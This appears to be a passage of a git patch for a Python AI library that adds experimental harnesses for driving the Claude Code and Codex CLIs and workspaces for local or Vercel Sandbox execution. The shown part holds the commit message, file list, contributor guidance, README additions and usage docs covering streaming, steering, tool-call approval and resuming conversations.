From cacd09eae16e230642b8626c4fcf8c2b98f3a9c4 Mon Sep 17 00:00:00 2001 From: George Date: Tue, 29 Sep 2026 08:40:07 -0700 Subject: [PATCH 01/37] Add ai.harnesses.experimental and ai.workspaces.experimental Move harness-sdk into ai as two experimental areas. A harness drives a coding-agent CLI someone else owns (Claude Code, Codex): run, stream ai.types events, steer, stop, approve tool calls, resume, fork, hand off, and open the CLI's own TUI. A workspace is where it runs: a local directory or a Vercel Sandbox microVM. - Errors gain an Error suffix and split into harnesses and workspaces errors modules; both bases subclass ai.AIError. - claude_code() and VercelSandbox() check their extras (claude-code, sandbox) at construction and raise ai.errors.InstallationError. - codex() refuses sandbox modes that cannot run inside a microVM, and codex transcripts name tool calls by native item kind. - Examples in examples/harnesses, plus the afk and deepysec apps. - Docs pages, reference pages, skill notes, and contributor guidance. --- CONTRIBUTING.md | 112 ++ README.md | 26 + .../content/docs/basics/harnesses.mdx | 413 ++++++ docs/ai-python/content/docs/basics/index.mdx | 10 +- docs/ai-python/content/docs/basics/meta.json | 2 + .../content/docs/basics/workspaces.mdx | 238 ++++ .../content/docs/reference/ai/index.mdx | 4 + .../content/docs/reference/harnesses.mdx | 367 +++++ .../content/docs/reference/index.mdx | 3 +- .../content/docs/reference/meta.json | 2 + .../content/docs/reference/workspaces.mdx | 312 ++++ examples/.test_scripts/check-examples.py | 10 + examples/.test_scripts/run-examples.py | 27 + examples/README.md | 3 + examples/apps/afk/README.md | 141 ++ examples/apps/afk/afk/__init__.py | 1 + examples/apps/afk/afk/__main__.py | 3 + examples/apps/afk/afk/cli.py | 270 ++++ examples/apps/afk/afk/files.py | 75 + examples/apps/afk/afk/render.py | 158 ++ examples/apps/afk/afk/resolve.py | 78 + examples/apps/afk/afk/rows.py | 286 ++++ examples/apps/afk/afk/state.py | 90 ++ examples/apps/afk/afk/verbs.py | 505 +++++++ examples/apps/afk/pyproject.toml | 43 + examples/apps/afk/tests/conftest.py | 18 + examples/apps/afk/tests/test_files.py | 84 ++ examples/apps/afk/tests/test_live.py | 74 + examples/apps/afk/tests/test_render.py | 167 +++ examples/apps/afk/tests/test_resolve.py | 76 + examples/apps/afk/tests/test_state.py | 55 + examples/apps/afk/uv.lock | 885 ++++++++++++ examples/apps/deepysec/README.md | 162 +++ examples/apps/deepysec/deepysec/__init__.py | 1 + examples/apps/deepysec/deepysec/__main__.py | 3 + examples/apps/deepysec/deepysec/agents.py | 405 ++++++ examples/apps/deepysec/deepysec/cli.py | 220 +++ examples/apps/deepysec/deepysec/enrich.py | 72 + examples/apps/deepysec/deepysec/export.py | 138 ++ examples/apps/deepysec/deepysec/matchers.py | 929 ++++++++++++ examples/apps/deepysec/deepysec/models.py | 277 ++++ examples/apps/deepysec/deepysec/process.py | 245 ++++ examples/apps/deepysec/deepysec/prompt.py | 362 +++++ examples/apps/deepysec/deepysec/revalidate.py | 276 ++++ examples/apps/deepysec/deepysec/scan.py | 82 ++ examples/apps/deepysec/deepysec/store.py | 231 +++ examples/apps/deepysec/pyproject.toml | 40 + examples/apps/deepysec/tests/conftest.py | 29 + examples/apps/deepysec/tests/test_agents.py | 97 ++ examples/apps/deepysec/tests/test_matchers.py | 94 ++ examples/apps/deepysec/tests/test_pipeline.py | 198 +++ examples/apps/deepysec/tests/test_store.py | 332 +++++ examples/apps/deepysec/uv.lock | 886 ++++++++++++ examples/harnesses/__init__.py | 0 examples/harnesses/basic.py | 21 + examples/harnesses/copy_files.py | 51 + examples/harnesses/handoff.py | 78 + examples/harnesses/reconnect.py | 135 ++ examples/harnesses/resume.py | 31 + examples/harnesses/sandbox.py | 45 + examples/harnesses/steering.py | 52 + examples/harnesses/streaming.py | 71 + examples/harnesses/take_over.py | 36 + examples/harnesses/tool_approval.py | 39 + examples/harnesses/tui.py | 100 ++ pyproject.toml | 27 + skills/ai/SKILL.md | 4 +- skills/ai/references/harnesses.md | 130 ++ src/ai/__init__.py | 4 + src/ai/harnesses/__init__.py | 5 + src/ai/harnesses/experimental/__init__.py | 41 + .../experimental/_adapters/__init__.py | 0 .../harnesses/experimental/_adapters/base.py | 176 +++ .../experimental/_adapters/claude.py | 1002 +++++++++++++ .../experimental/_adapters/claude_store.py | 131 ++ .../harnesses/experimental/_adapters/codex.py | 1196 ++++++++++++++++ .../experimental/_adapters/jsonrpc.py | 199 +++ .../experimental/_adapters/remote_cli.py | 147 ++ src/ai/harnesses/experimental/_approval.py | 110 ++ .../harnesses/experimental/_capabilities.py | 71 + src/ai/harnesses/experimental/_factories.py | 199 +++ src/ai/harnesses/experimental/_handle.py | 28 + src/ai/harnesses/experimental/_handoff.py | 178 +++ src/ai/harnesses/experimental/_harness.py | 340 +++++ src/ai/harnesses/experimental/_result.py | 51 + src/ai/harnesses/experimental/_session.py | 477 +++++++ .../harnesses/experimental/_session_lock.py | 174 +++ src/ai/harnesses/experimental/_structured.py | 60 + src/ai/harnesses/experimental/errors.py | 138 ++ src/ai/providers/_optional.py | 16 +- src/ai/workspaces/__init__.py | 5 + src/ai/workspaces/experimental/__init__.py | 39 + src/ai/workspaces/experimental/_base.py | 457 ++++++ src/ai/workspaces/experimental/_gateway.py | 109 ++ src/ai/workspaces/experimental/_gitignore.py | 224 +++ src/ai/workspaces/experimental/_local.py | 369 +++++ src/ai/workspaces/experimental/_pty.py | 215 +++ src/ai/workspaces/experimental/_pty_client.py | 62 + src/ai/workspaces/experimental/_pty_holder.py | 233 +++ src/ai/workspaces/experimental/_sandbox.py | 1269 +++++++++++++++++ src/ai/workspaces/experimental/errors.py | 41 + src/ai/workspaces/experimental/tty.py | 260 ++++ tests/harnesses/__init__.py | 0 tests/harnesses/experimental/__init__.py | 0 tests/harnesses/experimental/conftest.py | 256 ++++ tests/harnesses/experimental/e2e/__init__.py | 0 .../experimental/e2e/test_approval.py | 362 +++++ .../experimental/e2e/test_capabilities.py | 107 ++ .../experimental/e2e/test_control.py | 170 +++ .../experimental/e2e/test_failures.py | 208 +++ .../experimental/e2e/test_gateway.py | 472 ++++++ .../experimental/e2e/test_handoff.py | 231 +++ .../experimental/e2e/test_history.py | 182 +++ .../experimental/e2e/test_lifecycle.py | 113 ++ tests/harnesses/experimental/e2e/test_pty.py | 389 +++++ .../experimental/e2e/test_reconnect.py | 256 ++++ .../harnesses/experimental/e2e/test_remote.py | 147 ++ tests/harnesses/experimental/e2e/test_run.py | 191 +++ .../e2e/test_sandbox_lifecycle.py | 111 ++ .../experimental/e2e/test_session_lock.py | 85 ++ .../experimental/e2e/test_sessions.py | 149 ++ .../harnesses/experimental/e2e/test_stream.py | 165 +++ .../experimental/e2e/test_workspace.py | 119 ++ tests/harnesses/experimental/test_errors.py | 65 + tests/harnesses/experimental/test_extras.py | 43 + tests/harnesses/experimental/test_handoff.py | 151 ++ .../experimental/test_session_lock.py | 84 ++ tests/workspaces/__init__.py | 0 tests/workspaces/experimental/__init__.py | 0 tests/workspaces/experimental/conftest.py | 143 ++ tests/workspaces/experimental/e2e/__init__.py | 0 tests/workspaces/experimental/e2e/conftest.py | 12 + .../workspaces/experimental/e2e/test_copy.py | 242 ++++ tests/workspaces/experimental/e2e/test_env.py | 91 ++ .../workspaces/experimental/test_env_file.py | 100 ++ tests/workspaces/experimental/test_extras.py | 37 + .../workspaces/experimental/test_gitignore.py | 337 +++++ tests/workspaces/experimental/test_sandbox.py | 102 ++ tests/workspaces/experimental/test_tty.py | 386 +++++ uv.lock | 124 +- 140 files changed, 24047 insertions(+), 46 deletions(-) create mode 100644 docs/ai-python/content/docs/basics/harnesses.mdx create mode 100644 docs/ai-python/content/docs/basics/workspaces.mdx create mode 100644 docs/ai-python/content/docs/reference/harnesses.mdx create mode 100644 docs/ai-python/content/docs/reference/workspaces.mdx create mode 100644 examples/apps/afk/README.md create mode 100644 examples/apps/afk/afk/__init__.py create mode 100644 examples/apps/afk/afk/__main__.py create mode 100644 examples/apps/afk/afk/cli.py create mode 100644 examples/apps/afk/afk/files.py create mode 100644 examples/apps/afk/afk/render.py create mode 100644 examples/apps/afk/afk/resolve.py create mode 100644 examples/apps/afk/afk/rows.py create mode 100644 examples/apps/afk/afk/state.py create mode 100644 examples/apps/afk/afk/verbs.py create mode 100644 examples/apps/afk/pyproject.toml create mode 100644 examples/apps/afk/tests/conftest.py create mode 100644 examples/apps/afk/tests/test_files.py create mode 100644 examples/apps/afk/tests/test_live.py create mode 100644 examples/apps/afk/tests/test_render.py create mode 100644 examples/apps/afk/tests/test_resolve.py create mode 100644 examples/apps/afk/tests/test_state.py create mode 100644 examples/apps/afk/uv.lock create mode 100644 examples/apps/deepysec/README.md create mode 100644 examples/apps/deepysec/deepysec/__init__.py create mode 100644 examples/apps/deepysec/deepysec/__main__.py create mode 100644 examples/apps/deepysec/deepysec/agents.py create mode 100644 examples/apps/deepysec/deepysec/cli.py create mode 100644 examples/apps/deepysec/deepysec/enrich.py create mode 100644 examples/apps/deepysec/deepysec/export.py create mode 100644 examples/apps/deepysec/deepysec/matchers.py create mode 100644 examples/apps/deepysec/deepysec/models.py create mode 100644 examples/apps/deepysec/deepysec/process.py create mode 100644 examples/apps/deepysec/deepysec/prompt.py create mode 100644 examples/apps/deepysec/deepysec/revalidate.py create mode 100644 examples/apps/deepysec/deepysec/scan.py create mode 100644 examples/apps/deepysec/deepysec/store.py create mode 100644 examples/apps/deepysec/pyproject.toml create mode 100644 examples/apps/deepysec/tests/conftest.py create mode 100644 examples/apps/deepysec/tests/test_agents.py create mode 100644 examples/apps/deepysec/tests/test_matchers.py create mode 100644 examples/apps/deepysec/tests/test_pipeline.py create mode 100644 examples/apps/deepysec/tests/test_store.py create mode 100644 examples/apps/deepysec/uv.lock create mode 100644 examples/harnesses/__init__.py create mode 100644 examples/harnesses/basic.py create mode 100644 examples/harnesses/copy_files.py create mode 100644 examples/harnesses/handoff.py create mode 100644 examples/harnesses/reconnect.py create mode 100644 examples/harnesses/resume.py create mode 100644 examples/harnesses/sandbox.py create mode 100644 examples/harnesses/steering.py create mode 100644 examples/harnesses/streaming.py create mode 100644 examples/harnesses/take_over.py create mode 100644 examples/harnesses/tool_approval.py create mode 100644 examples/harnesses/tui.py create mode 100644 skills/ai/references/harnesses.md create mode 100644 src/ai/harnesses/__init__.py create mode 100644 src/ai/harnesses/experimental/__init__.py create mode 100644 src/ai/harnesses/experimental/_adapters/__init__.py create mode 100644 src/ai/harnesses/experimental/_adapters/base.py create mode 100644 src/ai/harnesses/experimental/_adapters/claude.py create mode 100644 src/ai/harnesses/experimental/_adapters/claude_store.py create mode 100644 src/ai/harnesses/experimental/_adapters/codex.py create mode 100644 src/ai/harnesses/experimental/_adapters/jsonrpc.py create mode 100644 src/ai/harnesses/experimental/_adapters/remote_cli.py create mode 100644 src/ai/harnesses/experimental/_approval.py create mode 100644 src/ai/harnesses/experimental/_capabilities.py create mode 100644 src/ai/harnesses/experimental/_factories.py create mode 100644 src/ai/harnesses/experimental/_handle.py create mode 100644 src/ai/harnesses/experimental/_handoff.py create mode 100644 src/ai/harnesses/experimental/_harness.py create mode 100644 src/ai/harnesses/experimental/_result.py create mode 100644 src/ai/harnesses/experimental/_session.py create mode 100644 src/ai/harnesses/experimental/_session_lock.py create mode 100644 src/ai/harnesses/experimental/_structured.py create mode 100644 src/ai/harnesses/experimental/errors.py create mode 100644 src/ai/workspaces/__init__.py create mode 100644 src/ai/workspaces/experimental/__init__.py create mode 100644 src/ai/workspaces/experimental/_base.py create mode 100644 src/ai/workspaces/experimental/_gateway.py create mode 100644 src/ai/workspaces/experimental/_gitignore.py create mode 100644 src/ai/workspaces/experimental/_local.py create mode 100644 src/ai/workspaces/experimental/_pty.py create mode 100644 src/ai/workspaces/experimental/_pty_client.py create mode 100644 src/ai/workspaces/experimental/_pty_holder.py create mode 100644 src/ai/workspaces/experimental/_sandbox.py create mode 100644 src/ai/workspaces/experimental/errors.py create mode 100644 src/ai/workspaces/experimental/tty.py create mode 100644 tests/harnesses/__init__.py create mode 100644 tests/harnesses/experimental/__init__.py create mode 100644 tests/harnesses/experimental/conftest.py create mode 100644 tests/harnesses/experimental/e2e/__init__.py create mode 100644 tests/harnesses/experimental/e2e/test_approval.py create mode 100644 tests/harnesses/experimental/e2e/test_capabilities.py create mode 100644 tests/harnesses/experimental/e2e/test_control.py create mode 100644 tests/harnesses/experimental/e2e/test_failures.py create mode 100644 tests/harnesses/experimental/e2e/test_gateway.py create mode 100644 tests/harnesses/experimental/e2e/test_handoff.py create mode 100644 tests/harnesses/experimental/e2e/test_history.py create mode 100644 tests/harnesses/experimental/e2e/test_lifecycle.py create mode 100644 tests/harnesses/experimental/e2e/test_pty.py create mode 100644 tests/harnesses/experimental/e2e/test_reconnect.py create mode 100644 tests/harnesses/experimental/e2e/test_remote.py create mode 100644 tests/harnesses/experimental/e2e/test_run.py create mode 100644 tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py create mode 100644 tests/harnesses/experimental/e2e/test_session_lock.py create mode 100644 tests/harnesses/experimental/e2e/test_sessions.py create mode 100644 tests/harnesses/experimental/e2e/test_stream.py create mode 100644 tests/harnesses/experimental/e2e/test_workspace.py create mode 100644 tests/harnesses/experimental/test_errors.py create mode 100644 tests/harnesses/experimental/test_extras.py create mode 100644 tests/harnesses/experimental/test_handoff.py create mode 100644 tests/harnesses/experimental/test_session_lock.py create mode 100644 tests/workspaces/__init__.py create mode 100644 tests/workspaces/experimental/__init__.py create mode 100644 tests/workspaces/experimental/conftest.py create mode 100644 tests/workspaces/experimental/e2e/__init__.py create mode 100644 tests/workspaces/experimental/e2e/conftest.py create mode 100644 tests/workspaces/experimental/e2e/test_copy.py create mode 100644 tests/workspaces/experimental/e2e/test_env.py create mode 100644 tests/workspaces/experimental/test_env_file.py create mode 100644 tests/workspaces/experimental/test_extras.py create mode 100644 tests/workspaces/experimental/test_gitignore.py create mode 100644 tests/workspaces/experimental/test_sandbox.py create mode 100644 tests/workspaces/experimental/test_tty.py diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 7449113d..8762eec9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,3 +1,115 @@ +## Harnesses and workspaces + +`ai.harnesses.experimental` drives coding-agent CLIs. Adapters live in +`src/ai/harnesses/experimental/_adapters/` (`claude.py` on +`claude-agent-sdk`, `codex.py` on `codex app-server`). Workspaces live in +`src/ai/workspaces/experimental/` (`_local.py`, `_sandbox.py`). + +Rules that apply to both: + +- **Layering.** Caller, then `Harness`, then adapter, then workspace. Each + layer knows only the one below. A workspace never imports harness names + and never learns a CLI's dialect. A new CLI touches one adapter; a new + place to run touches one workspace. +- **Capability honesty.** Every `Capabilities` field is a claim you watched + be true. When a capability is absent, raise `UnsupportedError`. Never a + silent no-op. +- **Translate errors at the boundary.** Callers never catch a CLI library's + or provider's exceptions. Map them to `ai.harnesses.experimental.errors` + or `ai.workspaces.experimental.errors`. + +### Adding a harness + +1. Pick the CLI protocol first. It must offer, in one mode: a long-lived + process or resume by id, input while a turn runs (steer), an interrupt, + and a way to ask the client about tool calls. Codex had to move from + `codex exec --json` to `app-server` for this. +2. Implement the `Adapter` protocol in `_adapters/base.py`. `new_session()` + returns the CLI's own id, never one you mint. +3. Never spawn a process yourself. Call `workspace.spawn(argv)`. If the CLI + library insists on spawning, give it a transport backed by the workspace + (see `_adapters/remote_cli.py`). +4. Yield `ai.types.events` only, ending with `StreamEnd`. Text, reasoning, + and tool calls need Start / Delta / End triples. Emit tool arguments as a + `ToolDelta`, even when the call arrives complete. Tool results are + `ToolCallResult` events. +5. `approve is None` means approve everything. Answer the CLI's approval + requests yourself; never fall back to asking a terminal that is not there. + Exceptions inside a permission callback do not reach the caller: park them + on the adapter and re-raise from `turn()`. +6. Hold the workspace session lock (`_session_lock.SessionLock`) for every + conversation you open, so a second writer gets `SessionBusyError` on every + CLI. +7. Store `history=` natively with the rules in `_handoff.py`: text verbatim, + tool calls with their original names, reasoning as a note or dropped with + a warning. Never drop context silently. +8. Spell the gateway in the adapter (`gateway_env`, `gateway_config`). When + `workspace.injects_credentials_for(gateway.host)`, hand the CLI + `gateway.brokered()`. +9. Add a factory in `_factories.py` (and to `BUILDERS`), then add the kind to + `SPECS` and `HARNESS_CLI` in `tests/harnesses/experimental/conftest.py`. + That runs the whole e2e suite against the new adapter. + +### Adding a workspace + +1. Subclass `Workspace` from `_base.py`. Set `kind`, `owner` (`"provider"` + only for a box the SDK may install software into), and `duplex_spawn`. + `env` belongs to the work, not the agent. +2. Do not override `contains()`. It is pure-path on purpose: a remote path + does not exist on this machine. +3. Move files through `read_text`, `write_text`, `_copy_in`, and `_copy_out`. + Filter both directions with `walk_uploadable` and `copy_tree`. Batch + uploads; round trips are the cost on a remote box. +4. Map failures: a program that cannot run is `exit_code=127` from `exec` + and `WorkspaceError` from `spawn`; a missing file is `FileNotFoundError`; + a workspace that no longer exists is `WorkspaceGoneError`. +5. `Process.terminate()` returns only when the program is gone, and raises + when it could not make that true. +6. If the workspace can outlive the client, support reconnect by `name=`, + carry that identity in `coords`, and add a `keep` flag. Live state is + found by asking a harness inside the workspace, never by the workspace. +7. For ptys, reuse `_pty_holder.py` and `_pty.FramedPty` over your byte + channel. Never name a module `pty.py`. +8. Export it from `src/ai/workspaces/experimental/__init__.py`, and add it to + the `any_workspace` fixtures in `tests/workspaces/experimental/conftest.py` + and `tests/harnesses/experimental/conftest.py` as + `pytest.param("yours", marks=pytest.mark.yours)`. It must present the same + `project` the local branch does. + +### Tests + +Live tests drive real CLIs and real sandboxes. No fakes, no recorded doubles. +A missing CLI skips; it never passes silently. Markers: + +- `live`: drives a real local `claude` or `codex`. +- `sandbox`: needs Vercel Sandbox credentials. +- `slow`: minutes, not seconds. + +```bash +uv run pytest # offline (default) +uv run pytest tests/harnesses tests/workspaces -m "not sandbox" # plus local CLIs +uv run pytest tests/harnesses tests/workspaces -m "" # everything +``` + +Plain `uv run pytest` deselects `live` and `sandbox` (see `addopts` in +`pyproject.toml`); passing `-m` replaces that filter. + +The live suite needs `claude` and `codex` CLIs that can reach a model: a +login, or the gateway variables in `.env.local`. The sandbox suite +also needs Vercel credentials and `AI_GATEWAY_API_KEY` in a `.env.local` at +the repo root (`vercel link`, then `vercel env pull`). Every test is capped at +300 seconds. + +When writing tests, never branch on native tool names, wait on events instead +of sleeping, assert exact answers, and put anything on the control surface +on `any_harness` so it runs on both harnesses and both workspaces. + +Run the harness examples with: + +```bash +uv run examples/.test_scripts/run-examples.py --harnesses +``` + ## Releasing Every PR needs to be labeled as `breaking`, `feature`, `fix`, or diff --git a/README.md b/README.md index f2346d64..c45a493f 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,8 @@ official SDK lazily. Vercel OIDC for AI Gateway also uses an optional extra: uv add "ai[openai]" # OpenAI-compatible providers uv add "ai[anthropic]" # Anthropic-compatible providers uv add "ai[vercel]" # Vercel OIDC for AI Gateway +uv add "ai[claude-code]" # Claude Code harness (experimental) +uv add "ai[sandbox]" # Vercel Sandbox workspaces (experimental) ``` ```python @@ -156,6 +158,24 @@ approval = await ai.hook( ai.resolve_hook("approve_send_email", {"granted": True, "reason": "approved"}) ``` +## Harnesses (experimental) + +Harnesses drive coding-agent CLIs you already have, Claude Code and Codex, +on this machine or in a Vercel Sandbox. A turn streams the same `ai.events` +as an agent: + +```python +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + +async with harnesses.claude_code(workspace=workspaces.Local(".")) as agent: + result = await agent.run("What does this repo do?") +``` + +This API is experimental and may change or be removed. See +[Harnesses](https://ai-python.dev/docs/basics/harnesses) and +[Workspaces](https://ai-python.dev/docs/basics/workspaces). + ## Examples Focused samples live in category directories under `examples/`. @@ -164,6 +184,8 @@ Focused samples live in category directories under `examples/`. - `examples/media/` - image, video, speech, transcription, embeddings, reranking, and multimodal input/output - `examples/models/` - streaming, structured output, and provider examples +- `examples/harnesses/` - driving Claude Code and Codex, locally and in a + sandbox (experimental) - `examples/apps/` - end-to-end demos End-to-end demos: @@ -173,3 +195,7 @@ End-to-end demos: - `examples/apps/durable_agent_temporal/` - durable agent with Temporal - `examples/apps/durable_agent_workflows/` - durable agent with Workflows - `examples/apps/slack_agent/` - Slack agent +- `examples/apps/afk/` - move a coding-agent conversation into a sandbox and + back (experimental harnesses) +- `examples/apps/deepysec/` - security-scanning pipeline on harnesses + (experimental) diff --git a/docs/ai-python/content/docs/basics/harnesses.mdx b/docs/ai-python/content/docs/basics/harnesses.mdx new file mode 100644 index 00000000..b042fbdb --- /dev/null +++ b/docs/ai-python/content/docs/basics/harnesses.mdx @@ -0,0 +1,413 @@ +--- +title: Harnesses +description: Drive Claude Code and Codex from Python. +type: guide +summary: Run turns on coding-agent CLIs, stream events, steer, stop, approve tool calls, resume conversations, and open the CLI's own TUI. +--- + +A harness drives a coding-agent CLI you already have, `claude` or `codex`. +Your program sends prompts. The CLI does the agent work with its own tools, +login, and session store. The same code runs on either CLI, on this machine or +in a [workspace](/docs/basics/workspaces) such as a Vercel Sandbox. + +This API is experimental and may change or be removed. + +Each harness needs its CLI installed. See [Harnesses](#harnesses). + +## Run a prompt + +```python title="harness_run.py" +import asyncio + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def main() -> None: + async with harnesses.claude_code(workspace=workspaces.Local(".")) as agent: + result = await agent.run("What does this repo do? One sentence.") + + print(result.text) + print(result.finish_reason, result.usage.output_tokens) + + +if __name__ == "__main__": + asyncio.run(main()) +``` + +`claude_code()` and `codex()` return a `Harness` and share these arguments, +so swapping one for the other is a one-word edit: + +```python +agent = harnesses.codex(workspace=workspaces.Local("."), effort="high") +``` + +| Argument | Description | Default | +|---|---|---| +| `workspace` | Where the CLI runs. | required | +| `approve` | Approval hook. See [Approve tool calls](#approve-tool-calls). | `None`: every call runs | +| `approval_timeout` | Seconds a hook may take before the call is denied. | `300.0` | +| `model` | Model name passed to the CLI. | `None`: the CLI's default | +| `effort` | `"low"`, `"medium"`, `"high"`, or `"max"`. | `None`: the CLI's default | +| `gateway` | Upstream model provider LLM Gateway. See [Workspaces](/docs/basics/workspaces#reach-a-model-through-ai-gateway). | `None`: the workspace's gateway | +| `executable` | CLI name or path. | `"claude"` or `"codex"` | + +Each harness adds its own arguments; see [Harnesses](#harnesses). + +`run()` returns a `Result`: + +| Field | Description | +|---|---| +| `text` | The agent's final message, after its last tool call. | +| `finish_reason` | `"stop"`, `"cancelled"`, or `"length"` (Claude Code hit its turn limit). | +| `messages` | The conversation so far, as `ai.messages.Message` values. | +| `usage` | Token usage. | +| `output` | The validated value when you pass `output_type`. | +| `prompt_sent` | Exactly what the agent received. | +| `approval_errors` | Approval hooks that raised or timed out. | + +## Harnesses + +A missing extra raises `ai.errors.InstallationError` when you call the +factory. A missing CLI raises `ExecutableMissingError` when the harness +opens. + +### Claude Code + +`harnesses.claude_code()` drives the `claude` CLI through +`claude-agent-sdk`. It needs the `claude-code` extra: + +```bash title="Terminal" +uv add "ai[claude-code]" +``` + +It takes only the [shared arguments](#run-a-prompt). + +- Tool names are Claude Code's own, such as `Bash`, `Write`, and `Edit`. +- `result.usage.raw["cost_usd"]` reports the turn's cost. + +### Codex + +`harnesses.codex()` drives the `codex` CLI over `codex app-server`. It needs +no extra, only the `codex` CLI. + +It takes the [shared arguments](#run-a-prompt), plus: + +| Argument | Description | Default | +|---|---|---| +| `sandbox` | Codex's own sandbox mode: `"read-only"`, `"workspace-write"`, or `"danger-full-access"`. | `"read-only"` on `Local`, `"danger-full-access"` in a sandbox | +| `config` | Codex `-c` config overrides. Wins over values derived from `gateway` and `effort`, key by key. | `None` | + +- In `"read-only"` mode Codex declines writes. Pass + `sandbox="workspace-write"` when it must edit files. +- In a Vercel Sandbox, leave `sandbox` unset. Codex's own sandbox cannot + start inside the VM, so any other mode raises `UnsupportedError` when the + harness opens. +- Tool names are Codex item kinds, such as `commandExecution` and + `fileChange`. The shell command is in the call's arguments, never the name. +- `effort="max"` is sent to Codex as `"xhigh"`. + +## Keep a conversation + +`agent.run()` uses a throwaway conversation. Use a session for several turns +that share context: + +```python +session = agent.session() +await session.run("Read utils.py.") +result = await session.run("Which function is the slowest?") +``` + +The CLI creates the conversation on the first turn, so `session.session_id` +is empty until then. Read `session.handle` after a turn, not before. + +## Stream events + +`session.stream()` returns a `Turn`. Iterate it for events, then read +`turn.result`: + +```python +import ai + +turn = session.stream("Refactor utils.py into a package.") +async for event in turn: + if isinstance(event, ai.events.TextDelta): + print(event.chunk, end="", flush=True) + elif isinstance(event, ai.events.ToolEnd): + print(event.tool_call.tool_name, event.tool_call.tool_args) + elif isinstance(event, ai.events.ToolCallResult): + print(event.results[0].result) + +result = turn.result +``` + +A turn yields `ai.events.AgentEvent` values: model events plus +`ToolCallResult`. The same consumers you use with `ai.Agent` streams work +here. Every event carries `.message`, the assistant message so far. + +## Steer and stop + +Control verbs live on the session, because only one turn runs at a time: + +```python +turn = session.stream("Refactor utils.py into a package.") +steered = False +async for event in turn: + if isinstance(event, ai.events.ToolStart) and not steered: + await session.steer("Keep it one module; just split the functions.") + steered = True +``` + +- `steer(text)` sends guidance to the running turn. The agent acts on it + before the turn ends. The steer is added to the transcript as a user + message. +- `stop()` ends the turn. It settles as `finish_reason == "cancelled"`, keeps + what was streamed, and the session stays usable. +- `run(..., timeout=seconds)` stops the turn at the deadline and returns a + cancelled `Result`. It does not raise, except with `output_type` (see + [Structured output](#structured-output)). + +A bare `break` leaves the turn running. The next `session.run()` settles it. +Call `await session.reclaim()` before another `session.stream()`. + +## Approve tool calls + +Pass `approve=` to decide which tool calls run: + +```python +async def approve(ctx: harnesses.ApprovalContext) -> harnesses.Decision: + target = ctx.call.input.get("file_path", "") + if target and not ctx.workspace.contains(target): + return harnesses.Deny("stay inside the workspace") + return harnesses.Allow() + + +async with harnesses.claude_code( + workspace=workspaces.Local("."), approve=approve +) as agent: + ... +``` + +Without a hook, every tool call is allowed. Nobody is at a terminal to +answer, so a hook is how you restrict the agent. + +The hook receives an `ApprovalContext`: + +| Field | Description | +|---|---| +| `call` | The `ToolCall`: the CLI's own tool name (`call.name`) and arguments (`call.input`), untranslated. See [Harnesses](#harnesses) for each CLI's names. | +| `history` | The conversation so far. | +| `workspace` | The workspace the CLI runs in. | +| `harness` | `"claude-code"` or `"codex"`. | +| `session_id` | The conversation's id. | +| `prompt` | The turn's prompt on Claude Code; `None` on Codex. | + +It returns a decision: + +| Decision | Effect | +|---|---| +| `Allow()` | The call runs. | +| `Allow(input={...})` | The call runs with rewritten arguments. Claude Code only. | +| `Deny(reason)` | The call is blocked. On Claude Code the agent reads the reason; on Codex it only learns the call was refused. | +| `Deny(reason, stop=True)` | The call is blocked and the turn ends. | + +- A decision the harness cannot honor, such as `Allow(input=...)` on Codex + or `Allow(remember=True)` on either, denies the call and raises + `UnsupportedError` from the turn. +- A hook that raises or runs past `approval_timeout` denies the call. The + failure is listed in `result.approval_errors`. +- The hook is a gate, not an audit log. The CLI decides which calls to ask + about, and read-only tools never reach it. Read the event stream to see + every call. + +## Capabilities + +Each harness declares what it can do in `agent.capabilities`, before +anything runs. Using a capability a harness lacks raises `UnsupportedError`; +the one exception is `deny_reason`, whose absence only drops the reason. + +| Capability | Description | Claude Code | Codex | +|---|---|---|---| +| `run` | Run a prompt and wait for the result: `run()`. | yes | yes | +| `stream` | Iterate a turn's events as they arrive: `stream()`. | yes | yes | +| `steer` | Send guidance to the turn that is running: `session.steer()`. | yes | yes | +| `stop` | Interrupt the running turn; it settles as cancelled: `session.stop()`. | yes | yes | +| `resume` | Continue a conversation this process did not create: `resume()`, `harness_from()`. | yes | yes | +| `fork` | Branch a conversation into a new one with the same past: `fork()`. | yes | yes | +| `history` | Read stored transcripts in full, tool calls included: `history()`, `sessions()`. | yes | yes | +| `images` | The CLI accepts image input. `run()` and `stream()` send text only today. | yes | yes | +| `rewrite_tool_input` | Rewrite a call's arguments before it runs: `Allow(input={...})`. | yes | no | +| `deny_reason` | The reason in `Deny(reason)` reaches the agent. Without it the call is still denied, but the reason is dropped. | yes | no | +| `remember_decisions` | Keep an approval for the rest of the session: `Allow(remember=True)`. | no | no | +| `approval` | Which tool calls reach the hook. `"policy"`: the CLI's own policy decides, so not every call does. | `"policy"` | `"policy"` | + +## Resume and fork + +A `Handle` names a conversation as plain data. Save it and continue later, +from any process: + +```python +saved = session.handle.model_dump_json() + +handle = harnesses.Handle.model_validate_json(saved) +async with harnesses.harness_from(handle, approve=approve) as session: + await session.run("Continue.") +``` + +A handle holds the harness kind, the CLI's own session id, the workspace, and +the options. It never holds a hook or a key, so pass `approve=` and `gateway=` +again. The SDK keeps no registry of conversations. Store handles in your own +database. + +A harness can also read its CLI's store, including conversations a person +started in a terminal: + +```python +infos = await agent.sessions() +messages = await agent.history(infos[0].session_id) +branch = await agent.fork(infos[0].session_id) +same = await agent.resume(infos[0].session_id) +``` + +- `fork()` starts a new conversation with the same past. The original is + never written. +- `resume()` continues the original. Only one client may write a + conversation. If another SDK client or an `agent.tui()` holds it, + `resume()` raises `SessionBusyError`, and `SessionInfo.running` is `True`. +- A `claude` or `codex` that a person started in a terminal holds no claim, + so `resume()` cannot tell it is open. Fork conversations you did not + start. + +`harness_from(handle, fork=True)` forks instead of resuming. + +## Hand off a conversation + +Pass `history=` to start a new conversation from an earlier one. It works +across harnesses and machines: + +```python +history = await claude_agent.history(session_id) # or result.messages +result = await codex_agent.run("Carry on.", history=history) +session = sandbox_agent.session(history=history) +``` + +The receiving CLI stores the history natively before the first turn. Tool +calls keep their original names. Two limits: + +- Reasoning cannot go into Claude Code. It is dropped with a warning. +- Paths point to the source machine. Copy the files and tell the agent where + they are now. + +## Open the CLI's TUI + +`agent.tui()` opens the CLI's own interactive 